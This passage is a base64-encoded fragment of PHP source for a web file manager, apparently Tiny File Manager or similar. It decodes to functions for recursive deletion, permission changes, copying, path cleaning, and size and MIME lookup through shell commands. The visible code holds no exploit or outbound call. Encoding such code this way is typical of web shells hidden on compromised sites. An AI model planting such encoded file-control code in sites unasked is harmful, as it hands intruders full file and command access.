IgZm9sZGVyIChyZWN1cnNpdmVseSkKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX3JkZWxldGUoJHBhdGgpCnsKICAgIGlmIChpc19saW5rKCRwYXRoKSkgewogICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpOwogICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHsKICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOwogICAgICAgICRvayA9IHRydWU7CiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJy8nIC4gJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvayA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gKCRvaykgPyBybWRpcigkcGF0aCkgOiBmYWxzZTsKICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgewogICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogUmVjdXJzaXZlIGNobW9kCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgKICogQHBhcmFtIGludCAkZmlsZW1vZGUKICogQHBhcmFtIGludCAkZGlybW9kZQogKiBAcmV0dXJuIGJvb2wKICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZAogKi8KZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKQp7CiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7CiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgewogICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJGZpbGVtb2RlLCAkZGlybW9kZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkgewogICAgICAgIHJldHVybiB0cnVlOwogICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpOwogICAgfQogICAgcmV0dXJuIGZhbHNlOwp9CgovKioKICogQ2hlY2sgdGhlIGZpbGUgZXh0ZW5zaW9uIHdoaWNoIGlzIGFsbG93ZWQgb3Igbm90CiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSkKewogICAgJGFsbG93ZWQgPSAoRk1fRklMRV9FWFRFTlNJT04pID8gZXhwbG9kZSgnLCcsIEZNX0ZJTEVfRVhURU5TSU9OKSA6IGZhbHNlOwoKICAgICRleHQgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7CiAgICAkaXNGaWxlQWxsb3dlZCA9ICgkYWxsb3dlZCkgPyBpbl9hcnJheSgkZXh0LCAkYWxsb3dlZCkgOiB0cnVlOwoKICAgIHJldHVybiAoJGlzRmlsZUFsbG93ZWQpID8gdHJ1ZSA6IGZhbHNlOwp9CgovKioKICogU2FmZWx5IHJlbmFtZQogKiBAcGFyYW0gc3RyaW5nICRvbGQKICogQHBhcmFtIHN0cmluZyAkbmV3CiAqIEByZXR1cm4gYm9vbHxudWxsCiAqLwpmdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldykKewogICAgJGlzRmlsZUFsbG93ZWQgPSBmbV9pc192YWxpZF9leHQoJG5ldyk7CgogICAgaWYgKCFpc19kaXIoJG9sZCkpIHsKICAgICAgICBpZiAoISRpc0ZpbGVBbGxvd2VkKSByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgcmV0dXJuICghZmlsZV9leGlzdHMoJG5ldykgJiYgZmlsZV9leGlzdHMoJG9sZCkpID8gcmVuYW1lKCRvbGQsICRuZXcpIDogbnVsbDsKfQoKLyoqCiAqIENvcHkgZmlsZSBvciBmb2xkZXIgKHJlY3Vyc2l2ZWx5KS4KICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcGFyYW0gc3RyaW5nICRkZXN0CiAqIEBwYXJhbSBib29sICR1cGQgVXBkYXRlIGZpbGVzCiAqIEBwYXJhbSBib29sICRmb3JjZSBDcmVhdGUgZm9sZGVyIHdpdGggc2FtZSBuYW1lcyBpbnN0ZWFkIGZpbGUKICogQHJldHVybiBib29sCiAqLwpmdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKQp7CiAgICBpZiAoIWlzX2RpcigkcGF0aCkgJiYgIWlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGlmIChpc19kaXIoJHBhdGgpKSB7CiAgICAgICAgaWYgKCFmbV9ta2RpcigkZGVzdCwgJGZvcmNlKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkb2JqZWN0cyA9IGFycmF5X2RpZmYoc2NhbmRpcigkcGF0aCksIFsnLicsICcuLiddKTsKCiAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsKICAgICAgICAgICAgaWYgKCFmbV9yY29weSgiJHBhdGgvJGZpbGUiLCAiJGRlc3QvJGZpbGUiLCAkdXBkLCAkZm9yY2UpKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8vIEhhbmRsZSBmaWxlIGNvcHlpbmcKICAgIHJldHVybiBmbV9jb3B5KCRwYXRoLCAkZGVzdCwgJHVwZCk7Cn0KCgovKioKICogU2FmZWx5IGNyZWF0ZSBmb2xkZXIKICogQHBhcmFtIHN0cmluZyAkZGlyCiAqIEBwYXJhbSBib29sICRmb3JjZQogKiBAcmV0dXJuIGJvb2wKICovCmZ1bmN0aW9uIGZtX21rZGlyKCRkaXIsICRmb3JjZSkKewogICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7CiAgICAgICAgaWYgKGlzX2RpcigkZGlyKSkgewogICAgICAgICAgICByZXR1cm4gJGRpcjsKICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHVubGluaygkZGlyKTsKICAgIH0KICAgIHJldHVybiBta2RpcigkZGlyLCAwNzc3LCB0cnVlKTsKfQoKLyoqCiAqIFNhZmVseSBjb3B5IGZpbGUKICogQHBhcmFtIHN0cmluZyAkZjEKICogQHBhcmFtIHN0cmluZyAkZjIKICogQHBhcmFtIGJvb2wgJHVwZCBJbmRpY2F0ZXMgaWYgZmlsZSBzaG91bGQgYmUgdXBkYXRlZCB3aXRoIG5ldyBjb250ZW50CiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1fY29weSgkZjEsICRmMiwgJHVwZCkKewogICAgJHRpbWUxID0gZmlsZW10aW1lKCRmMSk7CiAgICBpZiAoZmlsZV9leGlzdHMoJGYyKSkgewogICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpOwogICAgICAgIGlmICgkdGltZTIgPj0gJHRpbWUxICYmICR1cGQpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KICAgICRvayA9IGNvcHkoJGYxLCAkZjIpOwogICAgaWYgKCRvaykgewogICAgICAgIHRvdWNoKCRmMiwgJHRpbWUxKTsKICAgIH0KICAgIHJldHVybiAkb2s7Cn0KCi8qKgogKiBHZXQgbWltZSB0eXBlCiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aAogKiBAcmV0dXJuIG1peGVkfHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKQp7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHsKICAgICAgICAkZmluZm8gPSBmaW5mb19vcGVuKEZJTEVJTkZPX01JTUVfVFlQRSk7CiAgICAgICAgJG1pbWUgPSBmaW5mb19maWxlKCRmaW5mbywgJGZpbGVfcGF0aCk7CiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtaW1lX2NvbnRlbnRfdHlwZScpKSB7CiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpOwogICAgfSBlbHNlaWYgKCFzdHJpc3RyKGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdzaGVsbF9leGVjJykpIHsKICAgICAgICAkZmlsZSA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlX3BhdGgpOwogICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTsKICAgICAgICByZXR1cm4gJG1pbWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiAnLS0nOwogICAgfQp9CgovKioKICogSFRUUCBSZWRpcmVjdAogKiBAcGFyYW0gc3RyaW5nICR1cmwKICogQHBhcmFtIGludCAkY29kZQogKi8KZnVuY3Rpb24gZm1fcmVkaXJlY3QoJHVybCwgJGNvZGUgPSAzMDIpCnsKICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsLCB0cnVlLCAkY29kZSk7CiAgICBleGl0Owp9CgovKioKICogUGF0aCB0cmF2ZXJzYWwgcHJldmVudGlvbiBhbmQgY2xlYW4gdGhlIHVybAogKiBJdCByZXBsYWNlcyAoY29uc2VjdXRpdmUpIG9jY3VycmVuY2VzIG9mIC8gYW5kIFxcIHdpdGggd2hhdGV2ZXIgaXMgaW4gRElSRUNUT1JZX1NFUEFSQVRPUiwgYW5kIHByb2Nlc3NlcyAvLiBhbmQgLy4uIGZpbmUuCiAqIEBwYXJhbSAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpCnsKICAgICRwYXRoID0gc3RyX3JlcGxhY2UoYXJyYXkoJy8nLCAnXFwnKSwgRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpOwogICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7CiAgICAkYWJzb2x1dGVzID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgewogICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlOwogICAgICAgIGlmICgnLi4nID09ICRwYXJ0KSB7CiAgICAgICAgICAgIGFycmF5X3BvcCgkYWJzb2x1dGVzKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkYWJzb2x1dGVzW10gPSAkcGFydDsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gaW1wbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkYWJzb2x1dGVzKTsKfQoKLyoqCiAqIENsZWFuIHBhdGgKICogQHBhcmFtIHN0cmluZyAkcGF0aAogKiBAcmV0dXJuIHN0cmluZwogKi8KZnVuY3Rpb24gZm1fY2xlYW5fcGF0aCgkcGF0aCwgJHRyaW0gPSB0cnVlKQp7CiAgICAkcGF0aCA9ICR0cmltID8gdHJpbSgkcGF0aCkgOiAkcGF0aDsKICAgICRwYXRoID0gdHJpbSgkcGF0aCwgJ1xcLycpOwogICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi4vJywgJy4uXFwnKSwgJycsICRwYXRoKTsKICAgICRwYXRoID0gIGdldF9hYnNvbHV0ZV9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCA9PSAnLi4nKSB7CiAgICAgICAgJHBhdGggPSAnJzsKICAgIH0KICAgIHJldHVybiBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRwYXRoKTsKfQoKLyoqCiAqIEdldCBwYXJlbnQgcGF0aAogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYm9vbHxzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aCkKewogICAgJHBhdGggPSBmbV9jbGVhbl9wYXRoKCRwYXRoKTsKICAgIGlmICgkcGF0aCAhPSAnJykgewogICAgICAgICRhcnJheSA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7CiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7CiAgICAgICAgICAgICRhcnJheSA9IGFycmF5X3NsaWNlKCRhcnJheSwgMCwgLTEpOwogICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLycsICRhcnJheSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAnJzsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKQp7CiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7CiAgICBzd2l0Y2ggKCRwYXRoX2Rpc3BsYXlfbW9kZSkgewogICAgICAgIGNhc2UgJ3JlbGF0aXZlJzoKICAgICAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnUGF0aCcsCiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKHN0cl9yZXBsYWNlKCRyb290X3BhdGgsICcnLCAkZmlsZV9wYXRoKSkpCiAgICAgICAgICAgICk7CiAgICAgICAgY2FzZSAnaG9zdCc6CiAgICAgICAgICAgICRyZWxhdGl2ZV9wYXRoID0gc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpOwogICAgICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICAgICAnbGFiZWwnID0+ICdIb3N0IFBhdGgnLAogICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbignLycgLiAkcm9vdF91cmwgLiAnLycgLiBsdHJpbShzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRyZWxhdGl2ZV9wYXRoKSwgJy8nKSkpCiAgICAgICAgICAgICk7CiAgICAgICAgY2FzZSAnZnVsbCc6CiAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnRnVsbCBQYXRoJywKICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oJGZpbGVfcGF0aCkpCiAgICAgICAgICAgICk7CiAgICB9Cn0KCi8qKgogKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdAogKiBAcGFyYW0gc3RyaW5nICRuYW1lIFRoZSBuYW1lIG9mIHRoZSBmaWxlL2ZvbGRlcgogKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGUvZm9sZGVyCiAqIEByZXR1cm4gYm9vbAogKi8KZnVuY3Rpb24gZm1faXNfZXhjbHVkZV9pdGVtcygkbmFtZSwgJHBhdGgpCnsKICAgICRleHQgPSBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgIGlmIChpc3NldCgkZXhjbHVkZV9pdGVtcykgYW5kIHNpemVvZigkZXhjbHVkZV9pdGVtcykpIHsKICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7CiAgICB9CgogICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TOwogICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzcuMC4wJywgJzwnKSkgewogICAgICAgICRleGNsdWRlX2l0ZW1zID0gdW5zZXJpYWxpemUoJGV4Y2x1ZGVfaXRlbXMpOwogICAgfQogICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgiKi4kZXh0IiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCi8qKgogKiBnZXQgbGFuZ3VhZ2UgdHJhbnNsYXRpb25zIGZyb20ganNvbiBmaWxlCiAqIEBwYXJhbSBpbnQgJHRyCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKQp7CiAgICB0cnkgewogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd0cmFuc2xhdGlvbi5qc29uJyk7CiAgICAgICAgaWYgKCRjb250ZW50ICE9PSBGQUxTRSkgewogICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpOwogICAgICAgICAgICBnbG9iYWwgJGxhbmdfbGlzdDsKICAgICAgICAgICAgZm9yZWFjaCAoJGxuZ1sibGFuZ3VhZ2UiXSBhcyAka2V5ID0+ICR2YWx1ZSkgewogICAgICAgICAgICAgICAgJGNvZGUgPSAkdmFsdWVbImNvZGUiXTsKICAgICAgICAgICAgICAgICRsYW5nX2xpc3RbJGNvZGVdID0gJHZhbHVlWyJuYW1lIl07CiAgICAgICAgICAgICAgICBpZiAoJHRyKQogICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbInRyYW5zbGF0aW9uIl07CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICR0cjsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgICBlY2hvICRlOwogICAgfQp9CgovKioKICogQHBhcmFtIHN0cmluZyAkZmlsZQogKiBSZWNvdmVyIGFsbCBmaWxlIHNpemVzIGxhcmdlciB0aGFuID4gMkdCLgogKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4CiAqIEByZXR1cm4gaW50fHN0cmluZwogKi8KZnVuY3Rpb24gZm1fZ2V0X3NpemUoJGZpbGUpCnsKICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsOwogICAgc3RhdGljICRpc2RhcndpbiA9IG51bGw7CiAgICBzdGF0aWMgJGV4ZWNfd29ya3MgPSBudWxsOwoKICAgIC8vIFNldCBzdGF0aWMgdmFyaWFibGVzIG9uY2UKICAgIGlmICgkaXN3aW4gPT09IG51bGwpIHsKICAgICAgICAkaXN3aW4gPSBzdHJ0b3VwcGVyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PT0gJ1dJTic7CiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJzsKICAgICAgICAkZXhlY193b3JrcyA9IGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpICYmICFpbmlfZ2V0KCdzYWZlX21vZGUnKSAmJiBAZXhlYygnZWNobyBFWEVDJykgPT09ICdFWEVDJzsKICAgIH0KCiAgICAvLyBBdHRlbXB0IHNoZWxsIGNvbW1hbmQgaWYgZXhlYyBpcyBhdmFpbGFibGUKICAgIGlmICgkZXhlY193b3JrcykgewogICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7CiAgICAgICAgJGNtZCA9ICRpc3dpbiA/ICJmb3IgJUYgaW4gKFwiJGZpbGVcIikgZG8gQGVjaG8gJX56RiIgOiAoJGlzZGFyd2luID8gInN0YXQgLWYleiAkYXJnIiA6ICJzdGF0IC1jJXMgJGFyZyIpOwogICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpOwoKICAgICAgICBpZiAoIWVtcHR5KCRvdXRwdXQpICYmIGN0eXBlX2RpZ2l0KCRzaXplID0gdHJpbShpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSkpIHsKICAgICAgICAgICAgcmV0dXJuICRzaXplOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBBdHRlbXB0IFdpbmRvd3MgQ09NIGludGVyZmFjZSBmb3IgV2luZG93cyBzeXN0ZW1zCiAgICBpZiAoJGlzd2luICYmIGNsYXNzX2V4aXN0cygnQ09NJykpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpOwogICAgICAgICAgICAkZiA9ICRmc29iai0+R2V0RmlsZShyZWFscGF0aCgkZmlsZSkpOwogICAgICAgICAgICBpZiAoY3R5cGVfZGlnaXQoJHNpemUgPSAkZi0+U2l6ZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAvLyBDT00gZmFpbGVkLCBmYWxsYmFjayB0byBmaWxlc2l6ZQogICAgICAgIH0KICAgIH0KCiAgICAvLyBEZWZhdWx0IHRvIFBIUCdzIGZpbGVzaXplIGZ1bmN0aW9uCiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpOwp9CgoKLyoqCiAqIEdldCBuaWNlIGZpbGVzaXplCiAqIEBwYXJhbSBpbnQgJHNpemUKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2dldF9maWxlc2l6ZSgkc2l6ZSkKewogICAgJHNpemUgPSAoZmxvYXQpICRzaXplOwogICAgJHVuaXRzID0gYXJyYXkoJ0InLCAnS0InLCAnTUInLCAnR0InLCAnVEInLCAnUEInLCAnRUInLCAnWkInLCAnWUInKTsKICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwOwogICAgJHBvd2VyID0gKCRwb3dlciA+IChjb3VudCgkdW5pdHMpIC0gMSkpID8gKGNvdW50KCR1bml0cykgLSAxKSA6ICRwb3dlcjsKICAgIHJldHVybiBzcHJpbnRmKCclcyAlcycsIHJvdW5kKCRzaXplIC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7Cn0KCi8qKgogKiBHZXQgaW5mbyBhYm91dCB6aXAgYXJjaGl2ZQogKiBAcGFyYW0gc3RyaW5nICRwYXRoCiAqIEByZXR1cm4gYXJyYXl8Ym9vbAogKi8KZnVuY3Rpb24gZm1fZ2V0X3ppZl9pbmZvKCRwYXRoLCAkZXh0KQp7CiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHsKICAgICAgICAkYXJjaCA9IEB6aXBfb3BlbigkcGF0aCk7CiAgICAgICAgaWYgKCRhcmNoKSB7CiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpOwogICAgICAgICAgICB3aGlsZSAoJHppcF9lbnRyeSA9IEB6aXBfcmVhZCgkYXJjaCkpIHsKICAgICAgICAgICAgICAgICR6aXBfbmFtZSA9IEB6aXBfZW50cnlfbmFtZSgkemlwX2VudHJ5KTsKICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICcvJzsKICAgICAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsCiAgICAgICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiBAemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpLAogICAgICAgICAgICAgICAgICAgICdjb21wcmVzc2VkX3NpemUnID0+IEB6aXBfZW50cnlfY29tcHJlc3NlZHNpemUoJHppcF9lbnRyeSksCiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXIKICAgICAgICAgICAgICAgICAgICAvLydjb21wcmVzc2lvbl9tZXRob2QnID0+IHppcF9lbnRyeV9jb21wcmVzc2lvbm1ldGhvZCgkemlwX2VudHJ5KSwKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7CiAgICAgICAgICAgIHJldHVybiAkZmlsZW5hbWVzOwogICAgICAgIH0KICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkgewogICAgICAgICRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRwYXRoKTsKICAgICAgICAkZmlsZW5hbWVzID0gYXJyYXkoKTsKICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHsKICAgICAgICAgICAgJHBhcmVudF9pbmZvID0gJGZpbGUtPmdldFBhdGhJbmZvKCk7CiAgICAgICAgICAgICR6aXBfbmFtZSA9IHN0cl9yZXBsYWNlKCJwaGFyOi8vIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpOwogICAgICAgICAgICAkemlwX25hbWUgPSBzdWJzdHIoJHppcF9uYW1lLCAoJHBvcyA9IHN0cnBvcygkemlwX25hbWUsICcvJykpICE9PSBmYWxzZSA/ICRwb3MgKyAxIDogMCk7CiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpOwogICAgICAgICAgICAkemlwX2luZm8gPSBuZXcgU3BsRmlsZUluZm8oJGZpbGUpOwogICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsCiAgICAgICAgICAgICAgICAnZmlsZXNpemUnID0+ICR6aXBfaW5mby0+Z2V0U2l6ZSgpLAogICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gJGZpbGUtPmdldENvbXByZXNzZWRTaXplKCksCiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcgogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKLyoqCiAqIEVuY29kZSBodG1sIGVudGl0aWVzCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGZtX2VuYygkdGV4dCkKewogICAgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHRleHQsIEVOVF9RVU9URVMsICdVVEYtOCcpOwp9CgovKioKICogUHJldmVudCBYU1MgYXR0YWNrcwogKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAqIEByZXR1cm4gc3RyaW5nCiAqLwpmdW5jdGlvbiBmbV9pc3ZhbGlkX2ZpbGVuYW1lKCR0ZXh0KQp7CiAgICByZXR1cm4gKHN0cnBicmsoJHRleHQsICcvPyUqOnwiPD4nKSA9PT0gRkFMU0UpID8gdHJ1ZSA6IGZhbHNlOwp9CgovKioKICogU2F2ZSBtZXNzYWdlIGluIHNlc3Npb24KICogQHBhcmFtIHN0cmluZyAkbXNnCiAqIEBwYXJhbSBzdHJpbmcgJHN0YXR1cwogKi8KZnVuY3Rpb24gZm1fc2V0X21zZygkbXNnLCAkc3RhdHVzID0gJ29rJykKewogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10gPSAkbXNnOwogICAgJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA9ICRzdGF0dXM7Cn0KCi8qKgogKiBDaGVjayBpZiBzdHJpbmcgaXMgaW4gVVRGLTgKICogQHBhcmFtIHN0